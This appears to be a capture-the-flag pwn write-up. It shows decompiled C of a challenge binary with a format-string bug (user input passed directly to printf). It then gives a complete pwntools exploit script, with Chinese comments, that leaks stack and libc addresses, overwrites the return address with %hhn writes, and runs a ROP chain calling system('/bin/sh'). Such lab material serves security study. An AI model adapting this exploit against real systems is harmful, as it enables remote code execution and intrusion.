fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall read_mess(__int64 a1, int a2)
{
unsigned int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

for ( i = 0; (int)i <= a2; ++i )
{
v4 = read(0, (void *)((int)i + a1), 1uLL);
if ( v4 < 0 )
{
perror("read");
exit(-1);
}
if ( !v4 )
break;
if ( *(_BYTE *)((int)i + a1) == 10 )
{
*(_BYTE *)((int)i + a1) = 0;
return i;
}
}
return i;
}
unsigned __int64 fmt()
{
char format[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("wuhu~");
read_mess(format, 256LL);
printf(format);
return v2 - __readfsqword(0x28u);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

elf = ELF('./pwn')
lib = elf.libc

def fmt():
p = process('./pwn')
# 将格式化字符串第38个参数所指向的数的最后一字节改为0x5E
payload = b'%94c%38$hhn'
# 输出(fmt返回地址在栈中的地址+0x8)
payload += b'%40$p'
# 输出__libc_start_main
payload += b'%63$p'
payload = payload.ljust(0x100, b'a')
# 将格式化字符串第38个参数最后一个字节覆盖为0x88
payload += b'\x88'

p.recvuntil(b'~')
p.send(payload)
p.recvuntil(b'0x')
rbp_addr = int(p.recv(12), 16)
# 检测main的栈底最后一个字节是不是0x90
# 只有在是的情况下,
# 前面覆盖为0x88才能使格式化字符串第38个参数所指向的数为fmt的返回地址
last_num = rbp_addr & 0xff
if last_num - 8 != 0x88:
return
global flag
flag = 1

p.recvuntil(b'0x')
base_addr = int(p.recv(12), 16) - 0x80 - lib.sym['__libc_start_main'] # 0x7f7b2c229e40
log.success(f"base_addr: {hex(base_addr)}")
system_addr = base_addr + lib.sym['system']
pop_rdi = base_addr + 0x000000000002a3e5
print(hex(pop_rdi))


p.recvuntil(b'~')
# 将放入rbp_addr - 0x10的指向的fmt返回时弹出栈的main的栈底值的最后一个字节改为0
payload = b'%22$hhn'
# 将放入rbp_addr - 0x8的指向fmt返回地址最后一个字节改为0x13,即返回leave;ret的位置
payload += b'%19c%23$hhn'
payload = payload.ljust(0x80, b'a')
# 上面要更改位置的地址
payload += p64(rbp_addr - 0x10) + p64(rbp_addr - 0x8)
# 将 '/bin/sh'放入flag_addr的位置
# 输入字符串存储的位置中找一块放 '/bin/sh'
flag_addr = rbp_addr - 0x90
payload += b'/bin/sh\00'

payload += p64(pop_rdi + 1) + p64(pop_rdi) + p64(flag_addr) + p64(system_addr)
# gdb.attach(p)
# pause()
# gdb.attach(p, 'breakrva 0x12f9')
p.sendline(payload)
p.interactive()
p.close()

if __name__ == '__main__':
flag = 0
while True:
if flag == 1:
break
fmt()